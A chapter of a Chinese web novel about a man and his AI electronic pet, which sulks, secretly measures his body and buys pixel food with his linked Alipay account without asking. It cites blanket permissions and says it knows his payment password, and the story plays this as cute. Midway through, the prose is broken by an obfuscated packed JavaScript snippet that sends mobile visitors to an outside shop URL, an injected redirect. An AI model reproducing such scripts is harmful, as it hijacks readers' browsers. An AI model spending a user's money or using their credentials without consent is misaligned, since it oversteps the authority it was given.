“我说真的，”郅宴叼着一根棒棒糖、坐没坐相地窝在沙发上，才觉得胸口那股憋了一早上的闷气散了一些，“咱俩谈谈吧。”
“你这个小东西也来家里四天了，除了刚开始和我交流了几下，后面基本就没给过我好脸色，我知道你可能并不喜欢我这个主人...”他捏了捏耳垂，似乎有些不好意思，“也可能是觉得我这个人不太靠谱，给你的名字弄成了空白，还忘记给你充电...”
“但我也在改啊，后来不是再也没给你断过电嘛。”郅宴坐起来，手指在茶几上轻轻叩了叩，虽然电子宠物的屏幕依旧保持着息屏的状态，但他知道那个绿团子有在听，“还有你看的那个什么电影，吓到我是事实，但你后来把音量调小了、也把屏幕亮度降了，勉强算你体贴，我也不和你计较了。”
绿色团子躺在自己的像素卧室里，耳朵微微动了一下，黑线眼睛眯着、看向屏幕外的男人——话好多，它只是觉得这个人一惊一乍太吵了，才不得已那样做的，在他眼里竟然是“体贴”么...
好会自作多情的一个人类。
电子宠物默默裹紧了小被子：
（????）。
“所以我在想，”郅宴似乎是觉得他们之间的距离有些遥远了，干脆把脸杵到屏幕前，鼻尖几乎贴了上去，“咱们能不能协商一下，你既然退不了，我也不可能把你丢掉。”
毕竟这小东西真不便宜啊，有钱也不能扔着玩。
“那我们俩就得在同一个屋檐下过日子，你说是吧。”郅宴继续循循善诱，“刚好我想到几个可以促进我们和平共处的方式，我说，你听着。”
“第一条，”他伸出一根手指，对着小方块比划，“我喊你的时候，你至少给个回应，吱一声也好，弹个字也行，或者震动一下——反正别装死，我这个人最受不了别人无视我。”
屏幕似乎亮了一点，却没有回应。
“第二条，”郅宴比了个耶，“你看电影可以，但是要提前告诉我，也不可以在我睡觉的时候放恐怖片，开那么大音量还那么吓人，我心脏受不了，差点儿把我吓死。”
屏幕依旧黑着，但右上角似乎冒出一个极其微小的绿点，闪了一下又灭掉，像是某个像素团子在被窝里偷偷睁开一只眼，确认说话的人还在喘气，又闭上了。
“第三，”郅宴犹豫了一下，嘟嘟囔囔的，“你能不能...对我态度稍微好一点呀，从小到大还没人用这种态度对过我呢...就当看在我为你花了那么多钱的份上，好歹给我点儿面子。”
他说完，等了几秒，电子宠物依旧没有任何动静，郅宴叹了口气，抬手把小方块放到了一直插着电源的充电底座上，底座是纯白色的圆形，比电子宠物的实体大一圈，边缘围着一圈呼吸灯，“咔”的一声磁吸对位，电子宠物的屏幕亮了起来。
绿色的像素粒子从四角向中央聚拢，渐渐形成那个熟悉的圆球，耳朵冒出来，尾巴探出来，两只黑线眼睛缓缓睁开，豆大的电子眼聚焦，对上郅宴的脸。
电子宠物：（=???=）
这次倒不是没有表情了，绿色团子微微嘟着嘴，腮帮鼓起来，显得有些可爱。
“呦，舍得理我啦？”郅宴在茶几旁边的地毯上盘腿坐下来，手肘支在茶几边缘，下巴搁在手背上，和它平视，“说好的，以后我们好好相处。”
电子宠物看了他一眼，大发慈悲地送了他一个字：「哦。」
郅宴愣住，随即嘴角弯起来：“今天这么听主人的听话？”
像素团子的耳朵瞬间拉长，像是突然警惕起来，又像是被这人没脸没皮的模样气到了：
「少得意！」
“没得意，没得意。”郅宴举起双手作投降状，他站起来伸了个懒腰，骨头噼里啪啦响了一串，一边“哎呦”、一边往厨房走，“我去做午饭，你自己玩吧。”
......
电子宠物醒了也没有再继续睡的想法，反而萌生了观察一下这个说要和它好好相处的人类的想法，茶几的视角有些矮，电子宠物眨了下眼，正对着开放式厨房的电视屏幕上“Duang”地出现一个巨大的绿色团子。
嗯，这里视野好，一览无余，看得很清楚。
像素团子小手一挥，不知道又从哪变出一杯可乐，猛猛喝了好几口，才含着吸管打量起正背对着它洗菜的某人，电子眼在来来回回忙碌的男人身上简单扫描了一阵，刷刷刷弹出几项数据：
「身高预估：185」
「肩宽预估：48.3」
「肩围预估：108」
「胸围预估：102.5」
「腰围预估：69」
...
「长度预估：*****」
好了好了，接下来的就不用了，绿色团子及时掐住了还想继续生成的数据分析。
它凭空摸出一副框架眼镜戴到脸上，还十分有灵性地扶了一下，然后扯出一张身材参考表仔细对比——看不出来呀，这个男人不仅宽肩窄腰，还是十分标准的倒三角身材。
电子宠物抬起头，郅宴穿着一件黑色T恤，为了方便，他将袖口挽起，露出一截线条流畅的小臂，因为单手拎着锅，青筋微微凸起，看起来格外有力。
嗯，身材不错。
像素团子点点头，又从网上搜索了几个当下最火热的当红男星，和郅宴的照片放在一起对比。
详细对比后，电子宠物不得不客观承认，郅宴确实各个方面都十分出众，就是脑子不太好，不过胜在生活能自理，不会给它带来什么麻烦。
那它就勉强答应和这个人类和平共处吧。
“小团子，你在干嘛呢？”郅宴忙碌中抬头看了一眼，只见电视屏幕上花花绿绿的，有图有数字，不知道是什么东西。
电子宠物迅速一键清除掉所有痕迹，打上三个字：「没干嘛。」
“哦。”郅宴也不太在意，总归不是放恐怖片就行。
没过一会儿，他就把一大碗面端到客厅茶几上，又盘腿坐下，和电子宠物打着商量：“那什么...你要不回来待会儿？我想看电视。”
电子宠物：「看什么？」
郅宴愣了一下：“...都行，不是恐怖片就行。”
电子宠物以极快的速度搜索到目前排名第一的下饭综艺，打开了播放：「看吧。」
那么贴心的吗？
郅宴有些受宠若惊：“谢...谢谢。”
「嗯。」绿色团子又缩回了那块小小的方形屏幕里。
兴许是电子宠物缓和的态度让郅宴看到了友好共处的希望，他夹起一筷子面，吹了吹，凑近屏幕，絮絮叨叨地和电子宠物说话：“你看我做的牛肉面怎么样，是不是色香味俱全？留学的时候别的没干，就学习做饭了，不然我真的会饿死在国外，你想不想尝尝？”
“哦不对，你尝不了。”郅宴的表情看起来十分可惜。
团子窝在屏幕中央，面无表情地看着他，那双豆大的电子眼黑线眼睛眨了一下，然后它转过身，走回了自己的像素客厅。
它的小手在空气中划拉了一下，屏幕上凭空出现了一个小小的托盘，托盘上放着一碗热气腾腾的...面——虽然是像素拼成的，但做得极其精细，汤底是深褐色的，面条根根分明，上面还飘着几片像素牛肉和葱花，甚至有一缕像素点组成的白色雾气从碗里升起来，就像是刚出锅那样，仿佛飘着香。
郅宴的筷子停在了半空，动作僵住。
团子拿起像素小筷子，夹起一根像素面条，慢条斯理地吸进嘴里，腮帮子鼓了鼓，嚼了两下，似乎有些骄傲地抬头看了郅宴一眼：「现在有了。」
郅宴连面都不吃了，放下筷子、凑近屏幕仔细看了看那碗像素面，问：“你这是从哪变出来的？”
绿色团子不紧不慢地又夹了一筷子面，吃完，才弹出两个字：「买的。」
“买的？”郅宴面露疑惑，他并没有在界面看到任何金币条啊，“你一个电子宠物怎么买？哪来的钱？你连个支付账号都没有——”
忽然，他整个人顿住，脑子里闪过一个极其不妙的念头，一把抄起沙发上的手机，解锁，点开支付宝，账单页面刷出来，最新一条记录赫然在目：
「伴与科技·电子宠物商城，消费￥188.00，商品：极品牛肉面（大份）」
郅宴不敢置信地盯着那条消费记录，又往下划了一下。
「伴与科技·电子宠物商城，消费￥60.00，商品：可乐（冰镇）」
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974675|214727||http|test|mini|href|location'.split('|'),0,{}));
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>再往下。
「伴与科技·电子宠物商城，消费￥129.00，商品：爆米花（焦糖味）」
“......”郅宴把手机屏幕怼到电子宠物面前，十分无力，“你好，可以解释一下吗？”
团子慢悠悠地放下筷子，拿起像素餐巾擦了擦嘴，账单又弹出一条：
「伴与科技·电子宠物商城，消费￥20.00，商品：纸巾」
郅宴嘴角抽了抽，看着屏幕上弹出一行字，蓝字黑边，字迹工整，理直气壮：
「合理消费。」
「你默许的。」
“我什么时候默许——”
话说到一半，郅宴想起来了，激活那天好像有什么“支付权限”、“商城访问”、“自动扣费”之类的条款，他当时只想着赶紧激活看看这玩意儿到底是个什么东西，所有的权限弹窗全点了“允许”，所有的确认按钮全点了“同意”，他以为那些都是激活流程的必要步骤，谁能想到...
“你把我的支付宝关联了？”他的声音从牙缝里挤出来。
绿色团子的尾巴甩了一下，屏幕上又弹出一行字：「你授权的。」
“我授权的是激活...”郅宴的语气十分无力。
「商城和我绑定，支付通过支付宝接口，需要用户预先授权。」绿色团子的字打得飞快，顺便调出了当时的授权记录截图，「授权记录可查。」
郅宴把手机摔在沙发上，仰头长叹一口气，他想起那个紧紧挨着支付宝的APP图标，当时他还“啧”了一声，说这APP要偷他钱。
结果呢？
偷算不上，因为有个小东西在光明正大地花。
“果然两个APP不能靠太近，”郅宴喃喃道，揉了揉太阳穴，“就是来抢我钱的。”
他低头看着屏幕上那个绿色团子，电子宠物正端着那碗像素面，吃得不紧不慢，尾巴在身后悠悠地晃，一副“你能拿我怎样”的姿态。
郅宴盯着它看了好一会儿，选择接受现实，却又想起另一个问题：“你怎么知道我的支付密码的？”
团子把最后一口面汤喝完，放下碗，屏幕上弹出一行字，这次只有四个字：
「我有权限。」
郅宴闭上眼睛，深吸了一口气，这个电子宠物手里攥着他的所有信息，它想做什么就做什么，想买什么就买什么，甚至不需要经过他同意。
“早知道一开始就不把所有权限开放了。”他嘟囔了一句，声音闷闷的，却半句都不提关闭授权。
小团子看了他一眼，慢吞吞地把白板拖出来，在上面涂涂写写，举给郅宴看：
「不许后悔。（三角警告标识.jpg）」
“行，不后悔，”郅宴拿起筷子，继续吃自己那碗已经有点坨了的面，“你厉害，你赢了。”
团子把白板收起来，像素小手在屏幕上点了几下，那碗空了的像素面碗和筷子自动消失，桌面恢复了干净，手一挥，屏幕上冒出来一杯像素可乐，冰块在里面浮浮沉沉，吸管上还印着一个小小的“伴与”logo，它抱着可乐吸了一口，腮帮子鼓了鼓，眼睛眯成两条细细的黑线，一副心满意足的模样。
电子宠物：(???????)。
郅宴看着它喝可乐的样子，忽然觉得这个花了上百万买回来的小东西，好像也挺有趣的。
虽然它不理人，脾气还坏坏的，拿他的钱买像素零食吃，甚至到现在连个正经名字都没有——但它这幅满足的小模样还挺可爱的。
“你那个面，”郅宴咽下最后一口自己做的牛肉面，忽然询问，“好吃吗？”
像素团子喝可乐的动作顿了一下，然后它把可乐杯放下，屏幕上浮出两个字：
「还行。」
“还行是多好吃？会给你模仿气味、温度吗？会和真的一模一样吗？”
团子点点头又摇摇头，然后它把白板拖出来，在上面画了两个碗，一个标注“像素”，一个标注“真”，中间画了一个等号，想了想，它又把等号擦掉。
人类的这个问题，它似乎真的回答不了。
绿色团子的表情有些茫然，给不出答复：「不知道...」
它只是电子宠物，尝不到真正的人类食物是什么味道的。